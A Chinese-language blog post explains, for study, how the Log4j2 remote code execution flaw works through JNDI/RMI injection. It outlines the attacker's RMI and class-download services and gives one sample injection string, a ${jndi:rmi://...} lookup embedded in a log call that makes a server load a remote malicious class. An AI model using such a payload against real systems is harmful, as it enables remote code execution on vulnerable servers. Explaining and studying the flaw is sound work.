Log4j2 RCE 漏洞复现步骤以及根因

相信大家最近一定被 log4j2 的远程代码执行漏洞所刷屏了，各个互联网厂商，开源组织，还有相关企业都瑟瑟发抖，相关研发人员也都是加班加点紧急修复和改正。笔者也看了一些相关文章，感觉不少都是刷屏，刷阅读量，甚至是做相关广告的，详细介绍的少之又少。这里写一篇文章，详细介绍 log4j2 RCE 漏洞复现步骤以及根因，纯粹是以学习为目的。log4j2 RCE 漏洞总体来说是通过 JNDI 注入来完成的，具体的有 RMI 协议的方式和 LDAP 协议等不同方式，这里以 RMI 方式为例子做详细复现步骤和根因分析(不了解 JNDI/RMI/LDAP 等相关概念的同学请自 Google)。

基本原理

基本注入原理可以用以下流程图说明：

• 黑客首先需要发布一个 RMI 服务，这个服务会绑定一个 reference 类型的 RMI 对象。该对象指定了远端的一个含有恶意代码的类。例如包含了 system.exit(1) 这样危险的操作，以及这个类可以在哪里下载到。

• 黑客还需要发布另一个 simple download jar 的服务，这个服务就可以下载上面所说的含有恶意代码的类。

• 黑客利用 log4j2 的漏洞注入 RMI 调用，例如：logger.error("hello test for ${jndi:rmi://rim-service:port/refobj}")。

• 上面的 RMI 调用会得到 reference 类型的 RMI 远程对象，该对象就会自己去加载步骤二中的恶意类，然后执行。